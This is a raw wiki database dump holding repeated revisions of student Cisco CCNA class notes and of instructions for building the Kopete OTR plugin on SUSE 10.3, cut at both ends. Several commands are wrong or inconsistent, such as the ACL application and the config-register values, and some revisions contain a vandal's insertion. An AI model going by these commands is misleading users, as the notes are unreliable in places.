neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users 	#shows connected users and lines\n\nclear <line #>	#bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27      #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 	#uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route		# views routing tables\n\nsh ip protocol	# view info on RIP timers\n\ntracert		# view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0  # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server <ip address>		#configures DNS server IP\nno ip domain-lookup			#disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec		#privileged mode\nalias configure	#Global Config mode\nalias interfaces	#interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0	#greps for that int 		\nsh run int <int>	#shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1		#defines the rule\nline vty 0 4 					#selects interface \naccess-list 5 in				#set ACL and direction\n\nsh access list	#view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5		#removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n== CCNA 3 ==\n\n\'\'\'Switching Basics and Intermediate Routing\'\'\'\n\nMore exciting adventures to come . . .\n\n\n== CCNA 4 ==\n\n\'\'\'WAN Technologies\'\'\'\n\nyOu ArE tHe tRuE, woRmlY StEw PoT !!! WhAt a GeEk !!! i FoUnD YoUr pAgE.\n\nbY\n\nYbE Bor','utf-8'),(65,'','utf-8'),(66,'','utf-8'),(67,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\nIf you are actually running Suse 10.3 and just want to install the .rpm packages and forgo the stimulating procedures herein they can be found at the end.\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make, make install\n\nBetter than make install, run checkinstall to make the rpm and install it that way, this way the RPM database will be aware of the installation and future rpm depedanceis will be resolved correctly. For example - if you do not do this and then try to make and install the RPM for Kopete in the next section you will get warnings that libotr.s0.2 is missing when in fact it is in /usr/lib. By creating and installing lib-otr as an RPM the RPM database will be aware of it, you can proceed with makeing and installing the RPM for the Kopete plug in.\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs:  \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install\nor\n./checkinstall to build the .rpm instead\n(Do this as it\'s easier to remove the .rpm, install onto another systems, etc.)\n\n\n== Compiled RPMs ==\n\nHave Open Suse 10.3 and just want to skip all the work?\n\nHere are the RPM for the above, ready to go:\n\n [[Media:Libotr-3.1.0-1.i386.rpm]]\n\n [[Media:]]','utf-8'),(68,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\nIf you are actually running Suse 10.3 and just want to install the .rpm packages and forgo the stimulating procedures herein they can be found at the end.\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make, make install\n\nBetter than make install, run checkinstall to make the rpm and install it that way, this way the RPM database will be aware of the installation and future rpm depedanceis will be resolved correctly. For example - if you do not do this and then try to make and install the RPM for Kopete in the next section you will get warnings that libotr.s0.2 is missing when in fact it is in /usr/lib. By creating and installing lib-otr as an RPM the RPM database will be aware of it, you can proceed with makeing and installing the RPM for the Kopete plug in.\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs:  \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install\nor\n./checkinstall to build the .rpm instead\n(Do this as it\'s easier to remove the .rpm, install onto another systems, etc.)\n\n\n== Compiled RPMs ==\n\nHave Open Suse 10.3 and just want to skip all the work?\n\nHere are the RPM for the above, ready to go:\n\n [[Media:Libotr-3.1.0-1.i386.rpm]]\n\n [[Media:Kopete-otr-0.7-1.i386.rpm]]','utf-8'),(69,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFrom the official website at: http://www.cypherpunks.ca/otr/ \n\nOTR is described as:\n<pre>\nOff-the-Record (OTR) Messaging allows you to have private conversations over instant messaging by providing: \n\nEncryption\n\nNo one else can read your instant messages.\nAuthentication\nYou are assured the correspondent is who you think it is.\n\nDeniability\n\nThe messages you send do not have digital signatures that are checkable by a third party. Anyone can forge messages after a conversation to make them look like they came from you. However, during a conversation, your correspondent is assured the messages he sees are authentic and unmodified. \n\nPerfect forward secrecy\nIf you lose control of your private keys, no previous conversation is compromised.\n</pre>\n\'\'\'Installing OTR for Kopete under Suse 10.3\'\'\'\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\nIf you are actually running Suse 10.3 and just want to install the .rpm packages and forgo the stimulating procedures herein they can be found at the end.\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make, make install\n\nBetter than make install, run checkinstall to make the rpm and install it that way, this way the RPM database will be aware of the installation and future rpm depedanceis will be resolved correctly. For example - if you do not do this and then try to make and install the RPM for Kopete in the next section you will get warnings that libotr.s0.2 is missing when in fact it is in /usr/lib. By creating and installing lib-otr as an RPM the RPM database will be aware of it, you can proceed with makeing and installing the RPM for the Kopete plug in.\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs:  \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install\nor\n./checkinstall to build the .rpm instead\n(Do this as it\'s easier to remove the .rpm, install onto another systems, etc.)\n\n\n== Compiled RPMs ==\n\nHave Open Suse 10.3 and just want to skip all the work?\n\nHere are the RPM for the above, ready to go:\n\n [[Media:Libotr-3.1.0-1.i386.rpm]]\n\n [[Media:Kopete-otr-0.7-1.i386.rpm]]','utf-8'),(70,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFrom the official website at: http://www.cypherpunks.ca/otr/ \n\nOTR is described as:\n<pre>\nOff-the-Record (OTR) Messaging allows you to have private conversations over instant \nmessaging by providing: \n\nEncryption\n\nNo one else can read your instant messages.\nAuthentication\nYou are assured the correspondent is who you think it is.\n\nDeniability\n\nThe messages you send do not have digital signatures that are checkable by a third party. \nAnyone can forge messages after a conversation to make them look like they came from you.\nHowever, during a conversation, your correspondent is assured the messages he sees are \nauthentic and unmodified. \n\nPerfect forward secrecy\n\nIf you lose control of your private keys, no previous conversation is compromised.\n</pre>\n\'\'\'Installing OTR for Kopete under Suse 10.3\'\'\'\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\nIf you are actually running Suse 10.3 and just want to install the .rpm packages and forgo the stimulating procedures herein they can be found at the end.\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make, make install\n\nBetter than make install, run checkinstall to make the rpm and install it that way, this way the RPM database will be aware of the installation and future rpm depedanceis will be resolved correctly. For example - if you do not do this and then try to make and install the RPM for Kopete in the next section you will get warnings that libotr.s0.2 is missing when in fact it is in /usr/lib. By creating and installing lib-otr as an RPM the RPM database will be aware of it, you can proceed with makeing and installing the RPM for the Kopete plug in.\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs:  \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install\nor\n./checkinstall to build the .rpm instead\n(Do this as it\'s easier to remove the .rpm, install onto another systems, etc.)\n\n\n== Compiled RPMs ==\n\nHave Open Suse 10.3 and just want to skip all the work?\n\nHere are the RPM for the above, ready to go:\n\n [[Media:Libotr-3.1.0-1.i386.rpm]]\n\n [[Media:Kopete-otr-0.7-1.i386.rpm]]','utf-8'),(71,'__FORCETOC__     [[image:CiscoLogo.jpeg|frame|right]]\n\n Cisco Certified Network Associate\n class notes - St. Pete College \n\n\n== CCNA 1 == \n\n\'\'\'Networking Bascis\'\'\'\n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config		#clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr				 #to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102	default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142			        #ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o				#Displays current config register\n\n>o/r 0x2142			#Set to 2142 hex\n\n>I				#Initialize\n\nOnce in IOS:\n\nCopy star run			#copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run				#shows current passwords\n\nChange password(s)\n\nCopy run star			#save modified settings to NVRAM\n\nSh ver				#verify config register is 0x2102 now\n\nPower off and on (or \'reload\')\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n<as above>\n\n3.Auxiliary password\n\nLine aux 0\n<as above>\n\n4.Privileged mode – level 15 commands\n\na.Enable password < >  Type 7 – weak password\nb.Enable secret <  >	MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup	(stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://<multicast ip address>:port number\n\n== CCNA 2 ==\n\n\'\'\'Routers and Routing Basics\'\'\'\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp <IOS Filename> <IP address of TFTP server>\n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users 	#shows connected users and lines\n\nclear <line #>	#bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27      #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 	#uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route		# views routing tables\n\nsh ip protocol	# view info on RIP timers\n\ntracert		# view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0  # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server <ip address>		#configures DNS server IP\nno ip domain-lookup			#disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec		#privileged mode\nalias configure	#Global Config mode\nalias interfaces	#interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0	#greps for that int 		\nsh run int <int>	#shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1		#defines the rule\nline vty 0 4 					#selects interface \naccess-list 5 in				#set ACL and direction\n\nsh access list	#view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5		#removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n== CCNA 3 ==\n\n\'\'\'Switching Basics and Intermediate Routing\'\'\'\n\n\'\'\'CCNA 3 Final Exam Notes:\'\'\'\n\n\'\'\'0)Clear configs\'\'\'\n<pre>\nCAT: 	Clear config all / reset\n\nIOS: 	Erase star / reload (router)\n\nIOS:	erase nvram\n	vlan database\n	no vtp password\n	vtp transparent\n	vtp client\n	exit (to apply changes)\n</pre>\n\n\'\'\'1.Hostname and Ips\'\'\'\n<pre>\nCAT: hostname (ct)\nIOS: set system name <blah> \n\nCAT: set int sc0 172.16.10.2  255.255.255.0  172.16.10.255\nIOS: 	int vlan 1 \n	ip <ip addp>  <mask>\n	no shut\n</pre>\n\n\'\'\'2.Configure Trunk Lines\'\'\'\n\n<pre>\nCAT: 	set trunk 2/3 on dot1q\n	set trunk 2/4 on dot1q\n	sh trunk\n\nIOS: 	int fa0/11 <fa0/12>\n	swtchport mode trunk\n	switchport trunk allowed vlan 1\n	sh int fa0/11 switchport\n\n	Ping from distro to access to confirm trunking functionality\n\n</pre>\n\'\'\'3.Switch wins root spanning tree\'\'\'\n\n<pre>\nCAT: 	set spantree root 1\nIOS: 	spanning-tree vlan 1 priority <1>\n	sh spanning-tree vlan 1\n\n	In CatOS sh trunk will show mac of root switch and Cat switch mac to tell if it\'s root.\n</pre>\n\n\'\'\'4.Enable UplinkFast on 2900\'\'\'\n<pre>\nIOS:	 span uplink fast\n</pre>\n\'\'\'5.VTP Client / Server & VTP Secure\'\'\'\n<pre>\nCAT:	set vtp domain Block1 mode transparent\n	sh vtp domain\n	set vtp mode server		Switch#vtp password WATER\n\nIOS: 	vtp mode transparent / client / server\n	vtp domain Block1\n	no vlan # - to erase a vlan from config\n	sh vtp status\n	sh vlan				vtp domain password \n\nVLANs should propagate from distro to access\n</pre>\n\n\'\'\'6.Assign ports to VLAN on Catalyst 2900\'\'\'\n<pre>\nIOS: 	int fa0/1 <fa0/2>\n	switchport access vlan 2 <3>\n</pre>\n\'\'\'7.Create VLAN on Distro Switch\'\'\'\n<pre>\nCAT: 	set vlan 2 name GroupA\n	set vlan 3 name GroupB\n\n</pre>\n\'\'\'8.Inter VLAN Routing using external router\'\'\'\n<pre>\nOn distro switch:\n\nset port duplex 2/14 full\nset port name 2/14 blah\nset trunk 2/14 on dot1q\nsh trunk 2/14\n\nOn router:\n	\ninf fa0/0\nfull duplex\nno ip address\nno shut\n\nint fa0/0.1 (.2,.3) //config sub interface\nencap dot1q 1 (2,3)\nip address 172.16.10.X  255.255.255.0\n	\nsh int fa0/0\nsh ip int br\nsh ip route\n	\nSet IP\'s on PC\'s to corresponding network int on Boarder router.\nE.g. Host A gateway = 172.16.20.1\n\nPing from each host to gateway and to each other to confirm inter Vlan routing\nNote: You may not be able to ping from Boarder router to access / distro, this \ndoes not matter as you can ping from Host to boarder, etc.\n</pre>\n\n\'\'\'9.OSPF / EIGRP and Route Propagation\'\'\'\n<pre>\n	EIGRP:\n	int ser 0/0\n	ip address <ip>  <mask>\n	router eigrp 10 //AS number\n	network 172.16.10.0  //advertises network \n	network 192.168.50.0 \n	(Route may be auto-summarized. If discontinuous network this may affect routing.)	\n\n	int ser 0/0\n	clockrate 56000 //On DCE side (sh controllers int serial 0/0 for DCE / DTE mode)\n	bandwidth 56\n	no shut\n\n	int lo0(1,2)\n	ip address 192.168.50.x 255.255.255.252 (/30)\n\n	\n	OSPF:\n	router ospf 1 //OSPF Process Number\n	network x.x.x.x 0.0.0.255 area 0 //advertises network\n	\n	sh ip route\n	sh ip ospf int serial 0/0\n	sh ip ospf neighbor\n\n	clear ip ospf process //Clears OSPF routing process\n\n	ping from each host to loopback interfaces out Outside router\n\n</pre>\n\'\'\'8. OSPF Authentication\'\'\' \n<pre>\n	int serial 0/0\n	ip ospf message-digest-key 1 md5 <password>\n	router ospf 1\n	area 0 auth message-digest  //enables md5 for area 0\n\n	debug ip ospf events\n	Helps to isolate md5 issues, etc. as update packets are sent.\n	u all  //debug off\n</pre>\n\n== CCNA 4 ==\n\n\'\'\'WAN Technologies\'\'\'\n\nyOu ArE tHe tRuE, woRmlY StEw PoT !!! WhAt a GeEk !!! i FoUnD YoUr pAgE.\n\nbY\n\nYbE Bor','utf-8'),(72,'__FORCETOC__     [[image:CiscoLogo.jpeg|frame|right]]\n\n Cisco Certified Network Associate\n class notes - St. Pete College \n\n\n== CCNA 1 == \n\n\'\'\'Networking Bascis\'\'\'\n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config		#clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr				 #to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102	default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142			        #ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o				#Displays current config register\n\n>o/r 0x2142			#Set to 2142 hex\n\n>I				#Initialize\n\nOnce in IOS:\n\nCopy star run			#copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run				#shows current passwords\n\nChange password(s)\n\nCopy run star			#save modified settings to NVRAM\n\nSh ver				#verify config register is 0x2102 now\n\nPower off and on (or \'reload\')\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n<as above>\n\n3.Auxiliary password\n\nLine aux 0\n<as above>\n\n4.Privileged mode – level 15 commands\n\na.Enable password < >  Type 7 – weak password\nb.Enable secret <  >	MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup	(stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://<multicast ip address>:port number\n\n== CCNA 2 ==\n\n\'\'\'Routers and Routing Basics\'\'\'\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp <IOS Filename> <IP address of TFTP server>\n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users 	#shows connected users and lines\n\nclear <line #>	#bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27      #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 	#uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route		# views routing tables\n\nsh ip protocol	# view info on RIP timers\n\ntracert		# view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0  # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server <ip address>		#configures DNS server IP\nno ip domain-lookup			#disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec		#privileged mode\nalias configure	#Global Config mode\nalias interfaces	#interfece config mode\n\nsh 